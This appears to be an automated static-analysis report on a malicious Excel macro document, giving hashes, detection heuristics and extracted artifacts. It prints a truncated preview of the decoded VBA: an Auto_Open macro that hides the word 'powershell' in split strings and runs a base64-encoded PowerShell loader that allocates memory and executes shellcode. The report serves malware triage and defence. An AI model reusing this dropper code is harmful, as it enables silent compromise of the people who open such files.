Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8d76db4ea34369d7…

MALICIOUS

Office (OOXML)

18.7 KB Created: 2018-06-20 19:23:08 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2019-06-27
MD5: 3cd07054488f36e9d0e59d3681591b20 SHA-1: caefc54cef5b6d685d1a0c8d5fd78c469342c9d7 SHA-256: 8d76db4ea34369d7507730859fc98d75c84769cf20dc8eda54224c66f59a8e6c
342 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6698277-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698277-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 9694 bytes
SHA-256: 42845889519867db1fd291ed8a78a2b88e5f59d8b37048cc08c517e4889bde9c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
Dim GGqTJK
GGqTJK = " /w 1 /C ""s''v kWi -;s''v iTW e''c;s''v MNG ((g''v kWi).value.toString()+(g''v iTW).value.toString());" & "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & " (g''v MNG).value.toString() ('JAB1AGcAIAA9ACAAJwAkAHIAdQAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHU" _
& "AdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAFkAeAAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHIAdQAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0" _
& "AOwBbAEIAeQB0AGUAWwBdAF0AJABGAEIAIAA9ACAAMAB4AGYAYwAsADAAeABlADgALAAwAHgAOAAyACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADYAMAAsADAAeAA4ADkALAAwAHgAZQA1ACwAMAB4ADMAMQAsADAAeABjADAALAAwAHgANgA0ACwAMAB4ADgAYgAsADAAeAA1ADAALAAwAHgAMwAwACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMABjACwAMAB4ADgAYgAsADAAeAA1ADIALAAwAHgAMQA0ACwAMAB4ADgAYgAsADAAeAA3ADIALAAwAHgAMgA4ACwAMAB4ADAAZgAsADAAeABiADcALAAwAHgANABhACwAMAB4ADIANgAsADAAeAAzADEALAAwAHgAZgBmACwAMAB4AGEAYwAsADAAeAAzAGMALAAwAHgANgAxACwAMAB4ADcAYwAsADAAeAAwADIALAAwAHgAMgBjACwAMAB4ADIAMAAsADAAeABjADEALAAwAHgAYwBmACwAMAB4ADAAZAAsADAAeAAwADEALAAwAHgAYwA3ACwAMAB4AGUAMgAsADAAeABmADIALAAwAHgANQAyACwAMAB4ADUANwAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADEAMAAsADAAeAA4AGIALAAwAHgANABhACwAMAB4ADMAYwAsADAAeAA4AGIALAAwAHgANABjACwAMAB4ADEAMQAsADAAeAA3ADgALAAwAHgAZQAzACw" _
& "AMAB4ADQAOAAsADAAeAAwADEALAAwAHgAZAAxACwAMAB4ADUAMQAsADAAeAA4AGIALAAwAHgANQA5ACwAMAB4ADIAMAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADgAYgAsADAAeAA0ADkALAAwAHgAMQA4ACwAMAB4AGUAMwAsADAAeAAzAGEALAAwAHgANAA5ACwAMAB4ADgAYgAsADAAeAAzADQALAAwAHgAOABiACwAMAB4ADAAMQAsADAAeABkADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeABhAGMALAAwAHgAYwAxACwAMAB4AGMAZgAsADAAeAAwAGQALAAwAHgAMAAxACwAMAB4AGMANwAsADAAeAAzADgALAAwAHgAZQAwACwAMAB4ADcANQAsADAAeABmADYALAAwAHgAMAAzACwAMAB4ADcAZAAsADAAeABmADgALAAwAHgAMwBiACwAMAB4ADcAZAAsADAAeAAyADQALAAwAHgANwA1ACwAMAB4AGUANAAsADAAeAA1ADgALAAwAHgAOABiACwAMAB4ADUAOAAsADAAeAAyADQALAAwAHgAMAAxACwAMAB4AGQAMwAsADAAeAA2ADYALAAwAHgAOABiACwAMAB4ADAAYwAsADAAeAA0AGIALAAwAHgAOABiACwAMAB4ADUAOAAsADAAeAAxAGMALAAwAHgAMAAxACwAMAB4AGQAMwAsADAAeAA4AGIALAAwAHgAMAA0ACwAMAB4ADgAYgAsADAAeAAwADEALAAwAHgAZAAwACw" _
& "AMAB4ADgAOQAsADAAeAA0ADQALAAwAHgAMgA0ACwAMAB4ADIANAAsADAAeAA1AGIALAAwAHgANQBiACwAMAB4ADYAMQAsADAAeAA1ADkALAAwAHgANQBhACwAMAB4ADUAMQAsADAAeABmAGYALAAwAHgAZQAwACwAMAB4ADUAZgAsADAAeAA1AGYALAAwAHgANQBhACwAMAB4ADgAYgAsADAAeAAxADIALAAwAHgAZQBiACwAMAB4ADgAZAAsADAAeAA1AGQALAAwAHgANgA4ACwAMAB4ADYAZQAsADAAeAA2ADUALAAwAHgANwA0ACwAMAB4ADAAMAAsADAAeAA2ADgALAAwAHgANwA3ACwAMAB4ADYAOQAsADAAeAA2AGUALAAwAHgANgA5ACwAMAB4ADUANAAsADAAeAA2ADgALAAwAHgANABjACwAMAB4ADcANwAsADAAeAAyADYALAAwAHgAMAA3ACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAMwAxACwAMAB4AGQAYgAsADAAeAA1ADMALAAwAHgANQAzACwAMAB4ADUAMwAsADAAeAA1ADMALAAwAHgANQAzACwAMAB4ADYAOAAsADAAeAAzAGEALAAwAHgANQA2ACwAMAB4ADcAOQAsADAAeABhADcALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeAA1ADMALAAwAHgANQAzACwAMAB4ADYAYQAsADAAeAAwADMALAA
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 24576 bytes
SHA-256: 2817818d3ab6732a9f78fa8294c880a73ee93b41cc06c7af82eebcb189498b4e
Detection
ClamAV: Doc.Downloader.Generic-6698277-0
Obfuscation or payload: likely
Carved artifact contains 11 long base64-like blob(s).

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